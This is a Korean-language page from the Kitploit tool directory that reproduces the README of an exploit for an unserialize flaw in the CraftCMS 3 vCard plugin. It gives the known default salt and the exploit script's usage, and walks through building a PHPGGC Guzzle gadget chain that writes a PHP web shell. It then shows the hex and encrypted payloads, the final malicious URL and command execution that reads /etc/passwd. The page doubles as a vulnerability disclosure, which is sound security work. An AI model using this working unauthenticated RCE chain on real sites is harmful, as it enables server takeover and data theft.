Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
craftcms-vcard-exploit — 이 저장소에는 CraftCMS 3용 "vCard" 플러그인에서 발견된 취약점에 대한 세부 정보가 포함되어 있습니다. | Kitploit
도구/GitLabGitLab/wguest/craftcms-vcard-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitLabwguest/craftcms-vcard-exploit

craftcms-vcard-exploit

이 저장소에는 CraftCMS 3용 "vCard" 플러그인에서 발견된 취약점에 대한 세부 정보가 포함되어 있습니다.

저장소 보기
16년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Craft CMS vCard 플러그인 역직렬화 취약점

Craft CMS에는 *.vcf 파일 형식으로 연락처를 다운로드하기 위한 "vCard"라는 플러그인이 있습니다. 이 플러그인은 Craft 저장소와 Github에서 확인할 수 있습니다: Craft Plugin Store Github

설명

이 플러그인은 클라이언트가 보낸 매개변수를 받아 openssl_decrypt로 값을 복호화한 다음, 결과 문자열을 PHP의 unserialize 함수에 전달합니다. 암호화에 사용되는 기본 salt가 저장소에 공개되어 있기 때문에, 공격자는 동일한 로직을 사용하여 악의적인 직렬화 페이로드를 암호화할 수 있습니다.

사용자가 플러그인 설정에서 수정된 "salt" 값을 구성한 경우, 이 값을 Python 스크립트에 매개변수로 제공해야 합니다. 하지만 플러그인 스토어에서 다운로드하거나 저장소를 복제한 경우 이 값은 변경되지 않은 상태로 유지됩니다. Craft 웹 GUI에서 이를 변경할 수 있는 옵션은 없습니다.

스크립트 사용법

연락처 다운로드를 트리거하는 vCard 링크를 제공하여 스크립트를 실행하세요. vcard 매개변수 값을 제거하십시오.

예시: 샘플 vcard 다운로드 링크: http://craftcms/index.php?p=actions/vcard/default/index&vcard=GxHwdD1xmDkQoWbn_nPsgVR-2VOQt6w_oDmLl9h4jAglePdkMM1NMBKHTmq9Uuu7XFM9qvNs3Mi_B0-bT2JbfsflmMDzL29w2QaP28vRBHmyDLTMcacJwuBXEDUqF-sxovuY7oN-YFZXA4jOwC0CyxjLKIjz3UWBf-1ItLRkqKSSAHBuHOMeB5drdTqw67ZCmnlLVI7FYVUNBS9q3WrMRWMhexjHbO2VymDdV3q0GOlZmES9Imgdwq9ibI6okG_QFqHHq33a8U_m4NPvjTqsdm6Wm3OjcPSVV9L2RR8ZnhN9CayfaShb5jligs5b0So2Vddo8EmCZUgKP7-BIT4dlWRGwD_F0w2PyjUZRsRx25ydy6ZklXXHMb4fkrxuKXaHGfB8Y9SUbcQYAUK2OZhZno0FKWzUABDEjjvquevUSTgJr7wNq2oU4YpBwWoQCNGX7ILAuWN8_7GFIajhosdoOilLiLTmoJPWHfdpNKRaZlYcLX9zF7fUXw_BsHJZOySZhbSL0Q7ktzs__DygIL5uuongteXKIafhUFZxPEcC1W9OHy767Lgg77hJwp7lqF1krtHbbQ1o-4hV12dPkouauQ

그러면 스크립트에 전달할 매개변수는 다음과 같습니다: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="

root@kitploit:~
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a

선택적으로 salt 값을 제공할 수 있습니다. 전체 옵션은 여기에 표시됩니다:

root@kitploit:~
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin

optional arguments:
-h, --help  show this help message and exit
-u URL      The URL for the vCard download without the vCard value Example:
          http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT     Security key required for encrypting payload. Defaul is
          's34s4L7'
-f FNAME    File path/name to use as value in upload path: ./<value> . Use a
          PHP extension. Default value is 'shell.php'

요구사항

  • Python3

Python 스크립트는 Python 3.6에서 테스트되었습니다.

  • PHP CLI

이 스크립트는 페이로드를 암호화하기 위해 공격자 호스트에서 PHP 명령을 실행합니다. 따라서 php-cli가 설치되어 있어야 합니다. 이 공격은 PHP 7.2-cli 및 PHP 7.3-cli에서 테스트되었습니다.

취약점 분석

다음은 코드가 안전하지 않게 역직렬화하는 부분의 스냅샷입니다 (VCardService.php:297) Github:

root@kitploit:~
  public function decodeUrlParam($optionsString = "")
  {
    $optionsString = $this->decrypt($optionsString);
    $options = unserialize($optionsString);
    return $options;
  }

$optionsString 매개변수는 클라이언트가 제공한 "vcard" URL 매개변수의 값입니다. 이 값은 decrypt 함수를 거친 후 역직렬화됩니다. 클라이언트가 암호화를 모방할 수 있다면, 이 코드는 사용자 제공 데이터를 직접 역직렬화하므로 취약해집니다.

문제의 암호화 함수는 다음과 같습니다 (VCardService.php:306) Github:

root@kitploit:~
  protected function encrypt($string)
  {
    $key = VCard::$plugin->getSettings()->salt;
    $key = md5( $key );
    $iv = substr( md5( $key ), 0, 16);

    return rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
  }

공격자가 알아야 하는 유일한 값은 "VCard::$plugin->getSettings()->salt"로 설정된 $key 변수입니다. 기본 값은 저장소에서 "s34s4L7"로 확인할 수 있습니다 (config.php:26) Github

기본 salt가 사용된다고 가정하면, 공격자는 Craft 설치본에 있는 모든 클래스의 역직렬화를 강제할 수 있습니다.

Craft 기본 설치본에서 악의적인 목적으로 사용할 수 있는 "gadget" 클래스를 찾아야 합니다. __destruct 또는 __wakeup 매직 함수가 있는 클래스를 검토하면 검토할 목록이 충분히 작아집니다. 이는 "grep -rni < path to web root > -e '__destruct'"를 사용하여 수행할 수 있습니다.

guzzlehttp에는 클래스 속성을 파일 이름으로 사용하여 파일을 저장하는 것으로 보이는 "FileCookieJar"라는 클래스가 있습니다:

root@kitploit:~
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38:    public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39-    {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40-        $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41-    }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-

save 함수를 조사해 보면 시스템 파일 경로에 데이터를 쓰며, 경로와 데이터 모두 클래스 속성으로 공격자의 통제 하에 있음을 알 수 있습니다. 이 클래스 객체가 소멸될 때 보유하고 있던 쿠키를 파일 이름 속성에 기록하여 나중에 복구하거나 사용할 수 있게 하는 것은 이치에 맞습니다. 다음은 file_put_contents가 우리의 목표인 save 함수의 내용입니다 (FileCookieJar.php:52) Github:

root@kitploit:~
public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
 
    if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

다행히도 악성 페이로드를 직접 구성하기 위해 수동으로 작업할 필요는 없습니다. 훌륭한 도구인 PHPGGC는 이 익스플로잇에서 사용할 수 있도록 Guzzle 클래스를 페이로드와 함께 직렬화하는 작업을 자동화합니다.

저는 이 도구를 사용하여 익스플로잇 스크립트의 기본 페이로드로 이것을 생성했습니다. 파일 이름에 따라 약간 수정되지만요. 또한 PHPGGC로 새 페이로드를 생성하는 경우 "-f" 매개변수를 반드시 사용해야 하며, 그렇지 않으면 __destruct 매직 함수가 실행되지 않는다는 점을 알아두는 것이 중요합니다:

root@kitploit:~
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']);    } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}

sample.txt의 내용은 다음과 같습니다: <pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

속성이 올바르게 매핑되려면 직렬화된 클래스에 널 바이트가 있어야 하므로 일반적인 복사+붙여넣기는 여기서 작동하지 않는다는 점에 주의하세요. 암호화 과정을 모방하면서 도구의 원시 출력을 hex로 변환한 다음 다시 문자열로 변환해야 했습니다. hex 페이로드를 얻기 위해 사용한 bash는 다음과 같습니다.

root@kitploit:~
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a

생성된 페이로드 끝에 "0A" 바이트가 있을 수 있습니다. 그렇다면 제거하세요. 어쨌든 이제 PHPGGC에서 페이로드를 얻었고 이를 hex로 변환했으므로, 취약한 플러그인 함수로 보내기 전에 암호화해야 합니다. 앞서 언급한 vCard 암호화 함수의 로직을 복사하여 hex 페이로드를 변환하고 암호화하기만 하면 됩니다. 제가 사용한 PHP 스크립트는 다음과 같습니다:

root@kitploit:~
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");

$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);

$string2 = rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
echo  "Encrypted parameter:\n" . $string2 . "\n\n";

?>

그리고 결과 출력입니다:

root@kitploit:~
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php 
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY

마침내!

이제 페이로드가 준비되었으므로 요청에 담아 보내기만 하면 셸을 사용할 수 있습니다. 유효한 vCard 다운로드 링크는 환경에 따라 다릅니다. 제 테스트 배포에서 가져온 샘플은 다음과 같습니다:

http://craftcms/index.php?p=actions/vcard/default/index&vcard=

vcard 매개변수 값이 제거되고 악성 값으로 대체됩니다:

http://craftcms/index.php?p=actions/vcard/default/index&vcard=cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY

이 문자열은 $optionsString으로 전달되어 복호화된 다음 역직렬화되면서 내부 서버 오류를 발생시킵니다. 테스트 웹 서버의 파일 시스템을 확인하면 새 shell.php 파일이 생성된 것을 볼 수 있습니다:

root@kitploit:~
craft@craftcms:/var/www/html$ ls
cpresources  index.php  shell.php  web.config

craft@craftcms:/var/www/html$ cat shell.php 
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']);    } ?>\n"}]
craft@craftcms:/var/www/html$

브라우저에서 http://craftcms/shell.php에 접속하면 이제 cmd GET 매개변수를 통해 시스템 명령을 실행할 수 있습니다.

예시: http://craftcms/shell.php?cmd=cat%20/etc/passwd

root@kitploit:~
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

참고 자료

PHP Gadget Generation: https://github.com/ambionics/phpggc

vCard Plugin: https://github.com/nfourtythree/craft3-vcard

Craft CMS: https://craftcms.com/

unserialize documentation: https://www.php.net/manual/en/function.unserialize.php

도구 다운로드